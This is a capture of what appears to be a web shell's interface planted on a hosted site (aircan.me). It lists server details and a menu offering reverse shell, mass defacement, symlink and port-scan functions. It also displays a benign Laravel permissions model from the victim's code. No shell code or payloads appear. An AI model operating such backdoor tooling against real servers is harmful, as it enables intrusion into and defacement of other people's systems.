Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Models
/
Viewing: Actividad.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Actividad extends Model { use HasFactory; protected $table = 'actividades'; protected $fillable = [ 'nombre', 'slug', 'descripcion', 'icono', 'color', 'activo' ]; protected $casts = [ 'activo' => 'boolean' ]; /** * Usuarios asignados a esta actividad */ public function users() { return $this->hasMany(User::class); } /** * Permisos asociados a esta actividad */ public function permisos() { return $this->belongsToMany(Permiso::class, 'actividad_permiso', 'actividad_id', 'permiso_id') ->withTimestamps(); } /** * Módulos permitidos para esta actividad */ public function modulos() { return $this->hasMany(ActividadModulo::class); } /** * Verificar si la actividad tiene acceso a un módulo */ public function tieneAccesoModulo(string $modulo, string $tipo = 'lectura'): bool { $moduloLower = strtolower($modulo); $moduloConfig = $this->modulos()->whereRaw('LOWER(modulo) = ?', [$moduloLower])->first(); if (!$moduloConfig) { return false; } return match($tipo) { 'lectura' => $moduloConfig->lectura, 'escritura' => $moduloConfig->escritura, 'eliminacion' => $moduloConfig->eliminacion, default => false }; } /** * Verificar si la actividad tiene un permiso específico */ public function tienePermiso(string $permisoSlug): bool { return $this->permisos()->where('slug', $permisoSlug)->exists(); } /** * Obtener módulos con sus permisos */ public function getModulosConPermisos(): array { return $this->modulos()->get()->mapWithKeys(function ($modulo) { return [$modulo->modulo => [ 'lectura' => $modulo->lectura, 'escritura' => $modulo->escritura, 'eliminacion' => $modulo->eliminacion ]]; })->toArray(); } /** * Scopes */ public function scopeActivas($query) { return $query->where('activo', true); } public function scopePorSlug($query, string $slug) { return $query->where('slug', $slug); } }
Coded With 💗 by
0x6ick